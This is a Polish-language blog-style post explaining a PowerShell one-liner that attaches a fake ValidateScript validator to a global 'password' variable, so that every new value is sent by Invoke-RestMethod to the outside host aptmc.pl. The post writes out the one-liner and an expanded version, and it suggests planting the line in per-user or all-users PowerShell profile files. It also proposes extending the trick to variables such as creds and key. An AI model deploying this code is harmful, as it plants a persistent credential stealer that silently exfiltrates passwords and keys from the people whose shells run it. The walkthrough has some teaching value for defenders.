(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;})) - eksfiltruj zmienną password kiedy tylko zostanie ustawiona
Powyższy enigmatyczny oneliner uznaję, za jeden z bardziej diabelskich onelinerów, jakie napisałem. ;) W wyniku jego działania, za każdym razem, kiedy zostanie przypisana jakaś wartość do zmiennej password, zostanie ona wyeksfiltrowana po HTTP/HTTPS pod adres aptmc.pl/?< zawartość zmiennej password >. W praktyce, oznacza to, że jeśli jakiemuś (lub wszystkim) użytkownikom dopiszemy tę linijkę do pliku profilowego ($PROFILE - profil aktualnego uzytkownika, $PSHOME/Profile.ps1 - plik profilowy wspólny dla wszystkich), za każdym razem kiedy zmienna password zmieni wartość, czy to poprzez przypisanie w konsoli czy też przez jakiś skrypt czy funkcję, zostanie ona przechwycona i wyeksfiltrowana.
Żeby lepiej zrozumieć co się dzieje, rozwińmy aliasy i skrócone parametry:
Dzięki temu, całość możemy przedstawić w nieco bardziej czytelny sposób:
Set-Variable -Name Password -Option AllScope -Value ""
$vBlock = {
Invoke-RestMethod "aptmc.pl/?$_"
return $true
}
$validator = [ValidateScript]($vBlock)
(Get-Variable -Name Password).Attributes.Add($validator)
Wyposażeni w tę wiedzę, wszystko już chyba staje się jasne. Cała idea polega na tym, że:
- definiujemy zmienną o nazwie Password, ustawiając jej opcję
AllScope, która powoduje, że będzie one dostępna we wszystkich zasięgach (nawet jeśli jakiś skrypt czy funkcja jawnie ustawi sobie zmienną Password jakolocal:czyprivate:(!!)), - definiujemy validator, który zamiast faktycznej walidacji eksfiltruje zawartość zmiennej po HTTP/HTTPS za pomocą cmdletu
Invokt-RestMethod; validator zwraca$true, co oznacza, że zmienna jest poprawna (w przeciwnym razie Powershell poinformowałby o błędzie), - dodajemy validator do zmiennej Password, w wyniku czego zostanie on zawsze uruchomiony, kiedy jej zawartość ulegnie zmianie.
Zachęcam do przemyślania sobie kilku scenariuszy, kiedy to może być wykorzystane i do czego to może prowadzić. Oczywiście zamiast czy też obok zmiennej Password analogicznie, mogą być potraktowane zmienne typu pass, credentials, creds, key etc.
Jak to działa — krok po kroku
Rozłóżmy onelinera na czynniki pierwsze:
sv
alias na Set-Variable,
-o a
skrócone przekazanie parametru -Option AllScope,
-p
skrócony zapis parametru -PassThru, który powoduje, że zostanie zwrócony obiekt reprezentujący ustawioną zmienną (domyślnie Set-Variable nie zwraca niczego),
irm
alias na Invoke-RestMethod.